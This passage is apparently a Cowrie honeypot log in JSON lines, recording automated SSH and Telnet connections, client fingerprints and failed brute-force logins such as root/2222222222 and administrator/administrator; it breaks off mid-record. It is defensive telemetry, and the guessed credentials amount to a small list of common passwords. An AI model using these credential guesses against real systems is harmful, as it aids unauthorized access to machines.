{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53870,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a97b0ec7787","protocol":"telnet","message":"New connection: 152.42.224.71:53870 (10.17.0.5:23) [session: 7a97b0ec7787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:37.801481Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb7cdd013148","protocol":"ssh","message":"New connection: 103.77.242.62:34986 (159.203.135.109:22) [session: fb7cdd013148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:37.827198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:37.831795Z","src_ip":"103.77.242.62","session":"fb7cdd013148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:38.067635Z","src_ip":"103.77.242.62","session":"fb7cdd013148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41138,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfd4e014ac12","protocol":"ssh","message":"New connection: 45.156.87.204:41138 (159.203.135.109:22) [session: dfd4e014ac12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:38.603615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:38.608459Z","src_ip":"45.156.87.204","session":"dfd4e014ac12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:38.708616Z","src_ip":"45.156.87.204","session":"dfd4e014ac12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222222222","message":"login attempt [root/2222222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:38.777369Z","src_ip":"103.77.242.62","session":"fb7cdd013148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:39.262205Z","src_ip":"45.156.87.204","session":"dfd4e014ac12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:40.017000Z","src_ip":"103.77.242.62","session":"fb7cdd013148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:40.346704Z","src_ip":"45.156.87.204","session":"dfd4e014ac12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39330,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1960004ff5","protocol":"telnet","message":"New connection: 152.42.224.71:39330 (10.17.0.5:23) [session: cf1960004ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:41.773370Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39340,"dst_ip":"10.17.0.5","dst_port":23,"session":"e40320038819","protocol":"telnet","message":"New connection: 152.42.224.71:39340 (10.17.0.5:23) [session: e40320038819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:42.189428Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59222,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8caa453a7c4","protocol":"ssh","message":"New connection: 45.156.87.204:59222 (159.203.135.109:22) [session: f8caa453a7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:42.567378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:42.571702Z","src_ip":"45.156.87.204","session":"f8caa453a7c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:42.653368Z","src_ip":"45.156.87.204","session":"f8caa453a7c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:42.899818Z","src_ip":"45.156.87.204","session":"f8caa453a7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:43.985469Z","src_ip":"45.156.87.204","session":"f8caa453a7c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39356,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0101e01da2e","protocol":"telnet","message":"New connection: 152.42.224.71:39356 (10.17.0.5:23) [session: d0101e01da2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:45.553960Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59236,"dst_ip":"159.203.135.109","dst_port":22,"session":"0db7e3518628","protocol":"ssh","message":"New connection: 45.156.87.204:59236 (159.203.135.109:22) [session: 0db7e3518628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:46.414941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:46.470387Z","src_ip":"45.156.87.204","session":"0db7e3518628","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:46.537996Z","src_ip":"45.156.87.204","session":"0db7e3518628","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:46.836386Z","src_ip":"45.156.87.204","session":"0db7e3518628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:47.921970Z","src_ip":"45.156.87.204","session":"0db7e3518628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.666412591934204,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:49.220232Z","src_ip":"152.42.224.71","session":"d0101e01da2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.45691275596619,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:49.836219Z","src_ip":"152.42.224.71","session":"a2e76182d980","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":59248,"dst_ip":"159.203.135.109","dst_port":22,"session":"99b3badd602b","protocol":"ssh","message":"New connection: 45.156.87.204:59248 (159.203.135.109:22) [session: 99b3badd602b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:50.114585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:50.119418Z","src_ip":"45.156.87.204","session":"99b3badd602b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:50.202181Z","src_ip":"45.156.87.204","session":"99b3badd602b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:50.448557Z","src_ip":"45.156.87.204","session":"99b3badd602b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:51.535486Z","src_ip":"45.156.87.204","session":"99b3badd602b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33862,"dst_ip":"10.17.0.5","dst_port":23,"session":"265f6760c455","protocol":"telnet","message":"New connection: 152.42.224.71:33862 (10.17.0.5:23) [session: 265f6760c455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:51.568745Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":59306,"dst_ip":"159.203.135.109","dst_port":22,"session":"53f8ad142291","protocol":"ssh","message":"New connection: 181.188.172.6:59306 (159.203.135.109:22) [session: 53f8ad142291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:51.750468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:51.755164Z","src_ip":"181.188.172.6","session":"53f8ad142291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:51.875598Z","src_ip":"181.188.172.6","session":"53f8ad142291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":101.0372862815857,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:51.970326Z","src_ip":"152.42.224.71","session":"0665202fc4b5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"george","password":"george","message":"login attempt [george/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:52.623254Z","src_ip":"181.188.172.6","session":"53f8ad142291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:53.747053Z","src_ip":"181.188.172.6","session":"53f8ad142291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48502,"dst_ip":"159.203.135.109","dst_port":22,"session":"bffad3695e23","protocol":"ssh","message":"New connection: 45.156.87.204:48502 (159.203.135.109:22) [session: bffad3695e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:53.879051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:53.884475Z","src_ip":"45.156.87.204","session":"bffad3695e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:53.970000Z","src_ip":"45.156.87.204","session":"bffad3695e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:54.216788Z","src_ip":"45.156.87.204","session":"bffad3695e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:55.302393Z","src_ip":"45.156.87.204","session":"bffad3695e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33874,"dst_ip":"10.17.0.5","dst_port":23,"session":"91b4b16e1575","protocol":"telnet","message":"New connection: 152.42.224.71:33874 (10.17.0.5:23) [session: 91b4b16e1575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:56.195074Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48504,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1028ab82dcf","protocol":"ssh","message":"New connection: 45.156.87.204:48504 (159.203.135.109:22) [session: b1028ab82dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:57.425254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:29:57.433926Z","src_ip":"45.156.87.204","session":"b1028ab82dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sh